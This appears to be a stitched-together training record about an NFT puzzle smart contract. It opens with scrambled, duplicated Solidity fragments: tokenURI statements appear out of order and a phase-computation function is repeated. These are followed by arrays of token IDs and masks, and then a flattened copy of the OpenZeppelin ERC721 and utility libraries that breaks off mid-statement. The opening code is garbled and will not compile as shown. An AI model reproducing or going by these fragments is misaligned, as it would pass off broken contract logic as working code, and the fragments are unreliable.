"ZESWlCM2FXUjBhRDBpTWpVMklpQm9aV2xuYUhROUlqUXdOQ0lnY25nOUlqUWlJR1pwYkd3OUlpTXdaREV3TVRj" "aUx6NDhMM04yWno0PSJ9"; } PuzzleData memory puzzleData = getPuzzle[_puzzleId]; address author = getPuzzleAuthor[_puzzleId]; uint32 solves = getPuzzleColorsAndSolves[_puzzleId].solves; uint120 colors = getPuzzleColorsAndSolves[_puzzleId].colors; ? 0 : tokenData.solveTimestamp < puzzleData.firstSolveTimestamp + PHASE_ONE_LENGTH ? 1 : 2; return flagRenderer.render({ _puzzleData: puzzleData, _author: author, _solveTime: tokenData.solveTimestamp - puzzleData.addedTimestamp, _solveMetadata: tokenData.solveMetadata, _phase: phase, _solves: solves, _colors: colors }); } uint32 _puzzleId = uint32(_tokenId >> 128); uint8 phase = tokenData.solveTimestamp == puzzleData.firstSolveTimestamp function tokenURI(uint256 _tokenId) external view override returns (string memory) { TokenData memory tokenData = getTokenData[_tokenId]; require(tokenData.owner != address(0), "NOT_MINTED"); if (_tokenId == 0) { return "data:application/json;base64,eyJuYW1lIjoiRmVybWF0IiwiZGVzY3JpcHRpb24iOiJMb25nZX" "N0IHVuc29sdmVkIHB1enpsZS4iLCJpbWFnZV9kYXRhIjoiZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4y" "WnlCM2FXUjBhRDBpTlRVd0lpQm9aV2xuYUhROUlqVTFNQ0lnZG1sbGQwSnZlRDBpTUNBd0lEVTFNQ0ExTlRBaU" "lHWnBiR3c5SW01dmJtVWlJSGh0Ykc1elBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHlNREF3TDNOMlp5SStQ" "SEJoZEdnZ1ptbHNiRDBpSXpFNE1VVXlPQ0lnWkQwaVRUQWdNR2czTlRCMk56VXdTREI2SWk4K1BISmxZM1FnZU" "QwaU1UUXpJaUI1UFNJMk9TSWdkMmxrZEdnOUlqSTJOQ0lnYUdWcFoyaDBQU0kwTVRJaUlISjRQU0k0SWlCbWFX" "eHNQU0lqTWpjek1ETkVJaTgrUEhKbFkzUWdlRDBpTVRRM0lpQjVQU0kzTXlJZ2MzUnliMnRsUFNJak1UQXhNek" "ZESWlCM2FXUjBhRDBpTWpVMklpQm9aV2xuYUhROUlqUXdOQ0lnY25nOUlqUWlJR1pwYkd3OUlpTXdaREV3TVRj" "aUx6NDhMM04yWno0PSJ9"; } PuzzleData memory puzzleData = getPuzzle[_puzzleId]; address author = getPuzzleAuthor[_puzzleId]; uint32 solves = getPuzzleColorsAndSolves[_puzzleId].solves; uint120 colors = getPuzzleColorsAndSolves[_puzzleId].colors; ? 0 : tokenData.solveTimestamp < puzzleData.firstSolveTimestamp + PHASE_ONE_LENGTH ? 1 : 2; return flagRenderer.render({ _puzzleData: puzzleData, _author: author, _solveTime: tokenData.solveTimestamp - puzzleData.addedTimestamp, _solveMetadata: tokenData.solveMetadata, _phase: phase, _solves: solves, _colors: colors }); } function _computePhase(uint40 _firstSolveTimestamp, uint40 _solveTimestamp) internal pure returns (uint8 phase) { assembly { phase := mul( iszero(iszero(_firstSolveTimestamp)), add( 1, add( gt(_solveTimestamp, add(_firstSolveTimestamp, PHASE_ONE_LENGTH)), gt(_solveTimestamp, add(_firstSolveTimestamp, SUBMISSION_LENGTH)) ) ) ) } } function _computePhase(uint40 _firstSolveTimestamp, uint40 _solveTimestamp) internal pure returns (uint8 phase) { assembly { phase := mul( iszero(iszero(_firstSolveTimestamp)), add( 1, add( gt(_solveTimestamp, add(_firstSolveTimestamp, PHASE_ONE_LENGTH)), gt(_solveTimestamp, add(_firstSolveTimestamp, SUBMISSION_LENGTH)) ) ) ) } } }
4,251,671
[ 1, 2408, 2351, 225, 23714, 659, 792, 82, 558, 225, 432, 385, 17963, 1771, 16, 1625, 18115, 752, 471, 12439, 512, 7397, 293, 9510, 1040, 358, 425, 1303, 423, 4464, 87, 261, 10335, 4678, 6309, 2934, 8879, 788, 5245, 8879, 788, 8879, 788, 7252, 5235, 8879, 788, 8879, 788, 5235, 8879, 788, 8879, 788, 11417, 397, 15486, 8879, 788, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7251, 2351, 353, 467, 2408, 2351, 16, 10104, 654, 39, 27, 5340, 16, 14223, 11748, 288, 203, 565, 1450, 10560, 780, 364, 2254, 5034, 31, 203, 203, 203, 565, 2254, 5034, 5381, 15490, 4429, 67, 5998, 67, 7096, 273, 576, 4681, 31, 203, 203, 565, 2254, 5034, 5381, 10025, 15566, 67, 7096, 273, 1381, 4681, 31, 203, 203, 565, 2254, 5034, 5381, 15490, 4429, 67, 18869, 51, 67, 6236, 18605, 67, 8090, 41, 273, 374, 18, 3103, 225, 2437, 31, 203, 203, 565, 2254, 5034, 5381, 15490, 4429, 67, 18869, 51, 67, 16850, 67, 8090, 41, 273, 374, 18, 1611, 225, 2437, 31, 203, 203, 565, 2254, 22343, 5381, 3331, 67, 9651, 67, 10989, 55, 273, 374, 92, 2643, 21, 41, 6030, 2643, 21, 41, 6030, 5324, 23, 4630, 4577, 20, 42, 26, 4488, 11290, 37, 23, 38, 23, 31, 203, 203, 203, 565, 6712, 3261, 1345, 1071, 11732, 3849, 2869, 3261, 1345, 31, 203, 203, 565, 9960, 6747, 1071, 11732, 3849, 2982, 6747, 31, 203, 203, 203, 565, 2254, 1578, 1071, 3849, 293, 31550, 548, 273, 374, 31, 203, 203, 565, 478, 1035, 270, 1071, 3849, 284, 1035, 270, 31, 203, 203, 565, 2874, 12, 11890, 1578, 516, 453, 31550, 12570, 1876, 20608, 3324, 13, 1071, 3849, 1689, 31550, 12570, 1876, 20608, 3324, 31, 203, 203, 565, 2874, 12, 11890, 1578, 516, 453, 31550, 751, 13, 1071, 3849, 1689, 31550, 31, 203, 203, 565, 2874, 12, 11890, 1578, 516, 1758, 13, 1071, 3849, 1689, 31550, 3594, 31, 203, 203, 565, 2874, 12, 2 ]
// SPDX-License-Identifier: GPL-3.0 // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.13; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath#mul: OVERFLOW"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath#div: DIVISION_BY_ZERO"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath#sub: UNDERFLOW"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath#add: OVERFLOW"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO"); return a % b; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit 